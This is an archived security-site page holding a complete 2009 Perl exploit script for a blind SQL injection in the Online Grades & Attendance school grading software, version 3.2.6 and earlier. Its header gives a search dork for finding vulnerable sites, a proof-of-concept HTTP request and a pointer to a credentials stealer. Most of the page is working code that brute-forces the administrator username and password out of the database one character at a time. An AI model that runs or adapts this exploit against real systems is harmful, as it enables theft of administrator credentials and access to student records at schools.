TUCoPS :: HP Unsorted O :: bt-21055.htm

Online Grades & Attendance <= v-3.2.6--> (Post Form --> 'cc') Blind (SQLi) EXPLOIT
(Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance <= v-3.2.6-->
(Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance <= v-3.2.6-->



#!/usr/bin/perl=0D
#=0D
#-----------------------------------------------------------------------------------=0D
#(Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance v-3.2.6-->=0D
#-----------------------------------------------------------------------------------=0D
#=0D
#CMS INFORMATION:=0D
#=0D
#-->WEB: http://www.onlinegrades.org/=0D 
#-->DOWNLOAD: http://www.onlinegrades.org/=0D 
#-->DEMO: http://www.onlinegrades.org/demo_info=0D 
#-->CATEGORY: CMS / Education=0D
#-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same=0D
#		features plus many new features. OG is a web based grade...=0D
#-->RELEASED: 2009-02-05=0D
#=0D
#CMS VULNERABILITY:=0D
#=0D
#-->TESTED ON: firefox 3=0D
#-->DORK: "Powered by Online Grades"=0D
#-->CATEGORY: BLIND SQL INJECTION EXPLOIT=0D
#-->AFFECT VERSION: <= 3.2.6=0D
#-->Discovered Bug date: 2009-05-21=0D
#-->Reported Bug date: 2009-05-21=0D
#-->Fixed bug date: Not fixed=0D
#-->Info patch: Not fixed=0D
#-->Author: YEnH4ckEr=0D
#-->mail: y3nh4ck3r[at]gmail[dot]com=0D
#-->WEB/BLOG: N/A=0D
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.=0D
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)=0D
#=0D
#=0D
#------------=0D
#CONDITIONS:=0D
#------------=0D
#=0D
#gpc_magic_quotes=OFF=0D
#=0D
#-------=0D
#NEED:=0D
#-------=0D
#=0D
#Valid registered parent (PHPSESSID) (Use credentials stealer --> http://www.securityfocus.com/archive/1/503944/30/0/threaded)=0D 
#=0D
#Used this post info --> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101=0D
#=0D
#---------------------------------------=0D
#PROOF OF CONCEPT (SQL INJECTION):=0D
#---------------------------------------=0D
#=0D
#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermemo HTTP/1.1=0D 
#Host: www.onlinegrades.org=0D 
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Paros/3.2.13=0D
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8=0D
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3=0D
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7=0D
#Keep-Alive: 300=0D
#Proxy-Connection: keep-alive=0D
#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard=0D 
#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7=0D
#Content-Type: application/x-www-form-urlencoded=0D
#Content-length: 72=0D
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=1# --> TRUE=0D
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=0# --> FALSE=0D
#=0D
#######################################################################=0D
#######################################################################=0D
##*******************************************************************##=0D
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##=0D
##*******************************************************************##=0D
##-------------------------------------------------------------------##=0D
##*******************************************************************##=0D
##              GREETZ TO: SPANISH H4ck3Rs community!                ##=0D
##*******************************************************************##=0D
#######################################################################=0D
#######################################################################=0D
#=0D
#=0D
use LWP::UserAgent;=0D
use HTTP::Request;=0D
#Subroutines=0D
sub lw=0D
{=0D
	my $SO = $^O;=0D
	my $linux = "";=0D
	if (index(lc($SO),"win")!=-1){=0D
		$linux="0";=0D
	}else{=0D
		$linux="1";=0D
	}		=0D
	if($linux){=0D
		system("clear");=0D
	}=0D
	else{=0D
		system("cls");=0D
		system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");=0D
		system ("color 04");=0D
	}=0D
}=0D
sub request {=0D
	my $userag = LWP::UserAgent->new;=0D
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');=0D
	if($_[2] eq "post"){=0D
		$request = HTTP::Request -> new(POST => $_[0]);=0D
		$request->referer($_[0]);=0D
		$request->header(cookie => "PHPSESSID=".$_[3]);=0D
		$request->content_type('application/x-www-form-urlencoded');=0D
		$request->content($_[1]);=0D
	}else{=0D
		$request = HTTP::Request -> new(GET => $_[0]);=0D
	}=0D
	my $outcode= $userag->request($request)->as_string;=0D
	#print $outcode; #--> Active this line for debugger mode=0D
	return $outcode;=0D
}=0D
sub error {=0D
print "\t------------------------------------------------------------\n";=0D
	print "\tWeb isn't vulnerable!\n\n";=0D
	print "\t--->Maybe:\n\n";=0D
	print "\t\t1.-Patched.\n";=0D
	print "\t\t2.-Bad path or host.\n";=0D
	print "\t\t3.-Bad PHPSESSID value.\n";=0D
	print "\t\t4.-Bad POST value.\n";=0D
	print "\t\tEXPLOIT FAILED!\n";=0D
	print "\t------------------------------------------------------------\n";=0D
}=0D
sub errormagicquotes {=0D
print "\t------------------------------------------------------------\n";=0D
	print "\tWeb isn't vulnerable!\n\n";=0D
	print "\t\tRaison--> Magic quotes ON.\n";=0D
	print "\t\tEXPLOIT FAILED!\n";=0D
	print "\t------------------------------------------------------------\n";=0D
}=0D
sub testedblindsql {=0D
	print "\t-----------------------------------------------------------------\n";=0D
	print "\tWEB MAYBE BE VULNERABLE!\n\n";=0D
	print "\tTested Blind SQL Injection.\n";		=0D
	print "\tStarting exploit...\n"; =0D
	print "\t-----------------------------------------------------------------\n\n";=0D
}=0D
=0D
sub helper {=0D
	print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 Blind SQLi Exploit\n";=0D
	print "\t[!!!] USAGE MODE: [!!!]\n";=0D
	print "\t[!!!] perl $0 [HOST] [PATH] [PHPSESSID] [POST]\n";=0D
	print "\t[!!!] [HOST]: Web.\n";=0D
	print "\t[!!!] [PATH]: Home Path.\n";=0D
	print "\t[!!!] [PHPSESSID]: Set PHPSESSID value\n";=0D
	print "\t[!!!] [POST]: Set POST value\n";=0D
print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'ej67dt4jdjd57fdv6fkvqquh05' 'TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101' \n";=0D 
}=0D
sub brute_length{=0D
#Column length=0D
$exit=0;=0D
$i=0;=0D
while($exit==0){=0D
	my $blindsql=$_[2]."'+AND+(SELECT+length(".$_[1].")+FROM+ADMINS+WHERE+id=1)=".$i++."#"; #injected code=0D
	$output=&request($_[0],$blindsql,'post',$_[3]);=0D
	if($output !~ (/Can't get Memo info for Course Code/)){=0D
		$exit=1;=0D
	}else{=0D
		$exit=0;=0D
	}=0D
	#This is the max length of client_id and client_pw=0D
	if($i>80){=0D
	&error;=0D
	exit(1);=0D
	}=0D
}=0D
#Save column length=0D
$length=$i-1;=0D
print "\t<<<<<--------------------------------------------------------->>>>>\n";=0D
print "\tLength catched!\n";=0D
print "\tLength ".$_[1]." --> ".$length."\n";=0D
print "\tWait several minutes...\n";=0D
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";=0D
return $length;=0D
}=0D
sub exploiting {=0D
#Bruteforcing values=0D
$values="";=0D
$k=1;=0D
	$z=45;=0D
	while(($k<=$_[1]) && ($z<=126)){=0D
		my $blindsql=$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+ADMINS+WHERE+id=1),".$k.",1))=".$z."#";=0D
		$output=&request($_[0],$blindsql,'post',$_[4]);=0D
		if ($output !~ (/Can't get Memo info for Course Code/))=0D
		{=0D
			$values=$values.chr($z);=0D
			$k++;=0D
			$z=45;=0D
		}=0D
#new char=0D
	$z++; =0D
	}=0D
return $values;=0D
}=0D
#Main=0D
&lw;=0D
print "\t#######################################################\n\n";=0D
print "\t#######################################################\n\n";=0D
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";=0D
print "\t##           Blind SQL Injection Exploit             ##\n\n"; =0D
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";=0D
print "\t##       ++Needed: Registered parend (PHPSESSID)     ##\n\n";=0D
print "\t##               Author: Y3nh4ck3r                   ##\n\n";=0D
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";=0D
print "\t##            Proud to be Spanish!                   ##\n\n";=0D
print "\t#######################################################\n\n";=0D
print "\t#######################################################\n\n";=0D
#Init variables=0D
my $host=$ARGV[0];=0D
my $path=$ARGV[1];=0D
my $PHPSESSID=$ARGV[2];=0D
my $POST=$ARGV[3];=0D
$numArgs = $#ARGV + 1;=0D
if($numArgs<=3) =0D
	{=0D
		&helper;=0D
		exit(1);	=0D
	}	=0D
#Build uri=0D
my $finalhost="http://".$host."/".$path."/parents/parents.php?func=showteachermemo";=0D 
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";=0D 
#magic quotes on?=0D
$output=&request($phpinfo,0,'get',0);=0D
if($output=~(/\\magic\_quotes\_gpc\<\/td\>\On\<\/td\>\On\<\/td\>\<\/tr\>/)){=0D
	&errormagicquotes;=0D
	exit(1);=0D
}=0D
$finalrequest = $finalhost;	=0D
#Testing blind sql injection=0D
$send_post1=$POST."'+AND+1=0#";=0D
$output1=&request($finalrequest,$send_post1,'post',$PHPSESSID);=0D
$send_post2=$POST."'+AND+1=1#";=0D
$output2=&request($finalrequest,$send_post2,'post',$PHPSESSID);=0D
if ($output1 eq $output2)=0D
{    =0D
	#Not injectable=0D
	&error;=0D
	exit(1); =0D
}else{ =0D
	#blind sql injection is available=0D
	&testedblindsql;=0D
}=0D
#Bruteforcing length=0D
$length_user=&brute_length($finalrequest,'client_id',$POST,$PHPSESSID);	=0D
#Bruteforcing username...=0D
$user=&exploiting($finalrequest,$length_user,'client_id',$POST,$PHPSESSID);=0D
#Bruteforcing length=0D
$length_pw=&brute_length($finalrequest,'client_pw',$POST,$PHPSESSID);	=0D
#Bruteforcing password...=0D
$pw=&exploiting($finalrequest,$length_pw,'client_pw',$POST,$PHPSESSID);=0D
#final checking=0D
if((!$user) || (!$pw)){=0D
	&error;=0D
	exit(1);=0D
}=0D
print "\n\t\t*************************************************\n";=0D
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";=0D
print "\t\t*************************************************\n\n";=0D
print "\t\tAdmin-username: ".$user."\n";=0D
print "\t\tAdmin-password: ".$pw."\n\n";=0D
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";=0D
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";=0D
print "\t\t<<------------------------EOF---------------------->>\n\n";=0D
exit(1);=0D
#Ok...all job done

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH